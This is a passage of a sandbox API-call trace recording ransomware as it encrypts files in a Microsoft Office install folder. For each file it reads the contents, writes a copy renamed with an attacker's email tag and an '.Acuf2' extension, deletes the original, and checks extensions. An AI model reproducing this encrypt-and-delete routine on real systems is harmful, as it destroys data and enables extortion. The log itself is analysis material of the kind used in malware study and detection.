	[0272.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61
	[0272.505] lstrlenW (lpString=".jpg") returned 4
	[0272.505] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.506] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=49098) returned 1
	[0272.506] CloseHandle (hObject=0x36c) returned 1
	[0272.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 0x20
	[0272.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0272.506] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.506] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0272.507] GetLastError () returned 0x0
	[0272.507] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xbfca, lpOverlapped=0x0) returned 1
	[0272.522] WriteFile (in: hFile=0x274, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xbfd0, lpOverlapped=0x0) returned 1
	[0272.524] ReadFile (in: hFile=0x36c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.524] WriteFile (in: hFile=0x274, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0272.524] SetEndOfFile (hFile=0x274) returned 1
	[0272.524] CloseHandle (hObject=0x274) returned 1
	[0272.524] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.524] SetEndOfFile (hFile=0x36c) returned 1
	[0272.526] CloseHandle (hObject=0x36c) returned 1
	[0272.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart8.bdr")) returned 1
	[0272.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.527] lstrlenW (lpString=".doc") returned 4
	[0272.527] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".docx") returned 5
	[0272.527] lstrcmpiW (lpString1=".docx", lpString2="8.BDR") returned -1
	[0272.527] lstrlenW (lpString=".pdf") returned 4
	[0272.527] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".xls") returned 4
	[0272.527] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".xlsx") returned 5
	[0272.527] lstrcmpiW (lpString1=".xlsx", lpString2="8.BDR") returned -1
	[0272.527] lstrlenW (lpString=".ppt") returned 4
	[0272.527] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.527] lstrlenW (lpString=".zip") returned 4
	[0272.527] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".rar") returned 4
	[0272.527] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".bz2") returned 4
	[0272.527] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1
	[0272.527] lstrlenW (lpString=".7z") returned 3
	[0272.527] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1
	[0272.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.528] lstrlenW (lpString=".dbf") returned 4
	[0272.528] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1
	[0272.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.528] lstrlenW (lpString=".1cd") returned 4
	[0272.528] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1
	[0272.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART8.BDR") returned 61
	[0272.528] lstrlenW (lpString=".jpg") returned 4
	[0272.528] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1
	[0272.548] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.548] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.549] GetLastError () returned 0x0
	[0272.549] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0xdcc2, lpOverlapped=0x0) returned 1
	[0272.553] WriteFile (in: hFile=0x328, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xdcd0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xdcd0, lpOverlapped=0x0) returned 1
	[0272.555] ReadFile (in: hFile=0x35c, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.555] WriteFile (in: hFile=0x328, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xf4, lpOverlapped=0x0) returned 1
	[0272.555] SetEndOfFile (hFile=0x328) returned 1
	[0272.555] CloseHandle (hObject=0x328) returned 1
	[0272.555] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.555] SetEndOfFile (hFile=0x35c) returned 1
	[0272.559] CloseHandle (hObject=0x35c) returned 1
	[0272.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr" (normalized: "c:\\program files\\microsoft office\\office14\\charsettable.chr")) returned 1
	[0272.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.560] lstrlenW (lpString=".doc") returned 4
	[0272.560] lstrcmpiW (lpString1=".doc", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString=".docx") returned 5
	[0272.560] lstrcmpiW (lpString1=".docx", lpString2="e.chr") returned -1
	[0272.560] lstrlenW (lpString=".pdf") returned 4
	[0272.560] lstrcmpiW (lpString1=".pdf", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString=".xls") returned 4
	[0272.560] lstrcmpiW (lpString1=".xls", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString=".xlsx") returned 5
	[0272.560] lstrcmpiW (lpString1=".xlsx", lpString2="e.chr") returned -1
	[0272.560] lstrlenW (lpString=".ppt") returned 4
	[0272.560] lstrcmpiW (lpString1=".ppt", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.560] lstrlenW (lpString=".zip") returned 4
	[0272.560] lstrcmpiW (lpString1=".zip", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString=".rar") returned 4
	[0272.560] lstrcmpiW (lpString1=".rar", lpString2=".chr") returned 1
	[0272.560] lstrlenW (lpString=".bz2") returned 4
	[0272.560] lstrcmpiW (lpString1=".bz2", lpString2=".chr") returned -1
	[0272.560] lstrlenW (lpString=".7z") returned 3
	[0272.560] lstrcmpiW (lpString1=".7z", lpString2="chr") returned -1
	[0272.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.561] lstrlenW (lpString=".dbf") returned 4
	[0272.561] lstrcmpiW (lpString1=".dbf", lpString2=".chr") returned 1
	[0272.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.561] lstrlenW (lpString=".1cd") returned 4
	[0272.561] lstrcmpiW (lpString1=".1cd", lpString2=".chr") returned -1
	[0272.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CharSetTable.chr") returned 59
	[0272.561] lstrlenW (lpString=".jpg") returned 4
	[0272.561] lstrcmpiW (lpString1=".jpg", lpString2=".chr") returned 1
	[0272.562] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=270200) returned 1
	[0272.562] CloseHandle (hObject=0x35c) returned 1
	[0272.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe")) returned 0x20
	[0272.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\office14\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0272.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.562] lstrlenW (lpString=".doc") returned 4
	[0272.562] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1
	[0272.562] lstrlenW (lpString=".docx") returned 5
	[0272.562] lstrcmpiW (lpString1=".docx", lpString2="W.EXE") returned -1
	[0272.562] lstrlenW (lpString=".pdf") returned 4
	[0272.562] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1
	[0272.562] lstrlenW (lpString=".xls") returned 4
	[0272.562] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1
	[0272.563] lstrlenW (lpString=".xlsx") returned 5
	[0272.563] lstrcmpiW (lpString1=".xlsx", lpString2="W.EXE") returned -1
	[0272.563] lstrlenW (lpString=".ppt") returned 4
	[0272.563] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1
	[0272.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.563] lstrlenW (lpString=".zip") returned 4
	[0272.563] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1
	[0272.563] lstrlenW (lpString=".rar") returned 4
	[0272.563] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1
	[0272.563] lstrlenW (lpString=".bz2") returned 4
	[0272.563] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1
	[0272.563] lstrlenW (lpString=".7z") returned 3
	[0272.563] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1
	[0272.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.563] lstrlenW (lpString=".dbf") returned 4
	[0272.563] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1
	[0272.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.563] lstrlenW (lpString=".1cd") returned 4
	[0272.563] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1
	[0272.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CLVIEW.EXE") returned 53
	[0272.563] lstrlenW (lpString=".jpg") returned 4
	[0272.563] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1
	[0272.806] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.806] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0273.720] GetLastError () returned 0x0
	[0273.720] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x3388, lpOverlapped=0x0) returned 1
	[0273.735] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x3390, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x3390, lpOverlapped=0x0) returned 1
	[0273.736] ReadFile (in: hFile=0x328, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.736] WriteFile (in: hFile=0x388, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0273.736] SetEndOfFile (hFile=0x388) returned 1
	[0273.736] CloseHandle (hObject=0x388) returned 1
	[0273.736] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.736] SetEndOfFile (hFile=0x328) returned 1
	[0273.960] CloseHandle (hObject=0x328) returned 1
	[0273.960] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.001] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\act3r.sam")) returned 1
	[0274.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.001] lstrlenW (lpString=".doc") returned 4
	[0274.001] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString=".docx") returned 5
	[0274.002] lstrcmpiW (lpString1=".docx", lpString2="R.SAM") returned -1
	[0274.002] lstrlenW (lpString=".pdf") returned 4
	[0274.002] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString=".xls") returned 4
	[0274.002] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1
	[0274.002] lstrlenW (lpString=".xlsx") returned 5
	[0274.002] lstrcmpiW (lpString1=".xlsx", lpString2="R.SAM") returned -1
	[0274.002] lstrlenW (lpString=".ppt") returned 4
	[0274.002] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.002] lstrlenW (lpString=".zip") returned 4
	[0274.002] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1
	[0274.002] lstrlenW (lpString=".rar") returned 4
	[0274.002] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString=".bz2") returned 4
	[0274.002] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString=".7z") returned 3
	[0274.002] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1
	[0274.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.002] lstrlenW (lpString=".dbf") returned 4
	[0274.002] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.002] lstrlenW (lpString=".1cd") returned 4
	[0274.002] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1
	[0274.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ACT3R.SAM") returned 65
	[0274.002] lstrlenW (lpString=".jpg") returned 4
	[0274.002] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1
	[0274.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.008] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0274.009] GetLastError () returned 0x0
	[0274.009] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x1dda8, lpOverlapped=0x0) returned 1
	[0274.012] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x1ddb0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x1ddb0, lpOverlapped=0x0) returned 1
	[0274.014] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.015] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0274.015] SetEndOfFile (hFile=0x38c) returned 1
	[0274.015] CloseHandle (hObject=0x38c) returned 1
	[0274.015] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.015] SetEndOfFile (hFile=0x388) returned 1
	[0274.018] CloseHandle (hObject=0x388) returned 1
	[0274.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 1
	[0274.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.019] lstrlenW (lpString=".doc") returned 4
	[0274.019] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1
	[0274.019] lstrlenW (lpString=".docx") returned 5
	[0274.019] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1
	[0274.019] lstrlenW (lpString=".pdf") returned 4
	[0274.019] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1
	[0274.019] lstrlenW (lpString=".xls") returned 4
	[0274.019] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1
	[0274.019] lstrlenW (lpString=".xlsx") returned 5
	[0274.019] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1
	[0274.019] lstrlenW (lpString=".ppt") returned 4
	[0274.019] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1
	[0274.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.019] lstrlenW (lpString=".zip") returned 4
	[0274.019] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1
	[0274.019] lstrlenW (lpString=".rar") returned 4
	[0274.019] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1
	[0274.019] lstrlenW (lpString=".bz2") returned 4
	[0274.019] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1
	[0274.019] lstrlenW (lpString=".7z") returned 3
	[0274.019] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1
	[0274.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.019] lstrlenW (lpString=".dbf") returned 4
	[0274.020] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1
	[0274.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.020] lstrlenW (lpString=".1cd") returned 4
	[0274.020] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1
	[0274.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61
	[0274.020] lstrlenW (lpString=".jpg") returned 4
	[0274.020] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1
	[0274.021] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=71584) returned 1
	[0274.021] CloseHandle (hObject=0x388) returned 1
	[0274.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20
	[0274.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0274.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.021] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0274.022] GetLastError () returned 0x0
	[0274.022] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x117a0, lpOverlapped=0x0) returned 1
	[0274.024] WriteFile (in: hFile=0x38c, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x117b0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x117b0, lpOverlapped=0x0) returned 1
	[0274.026] ReadFile (in: hFile=0x388, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
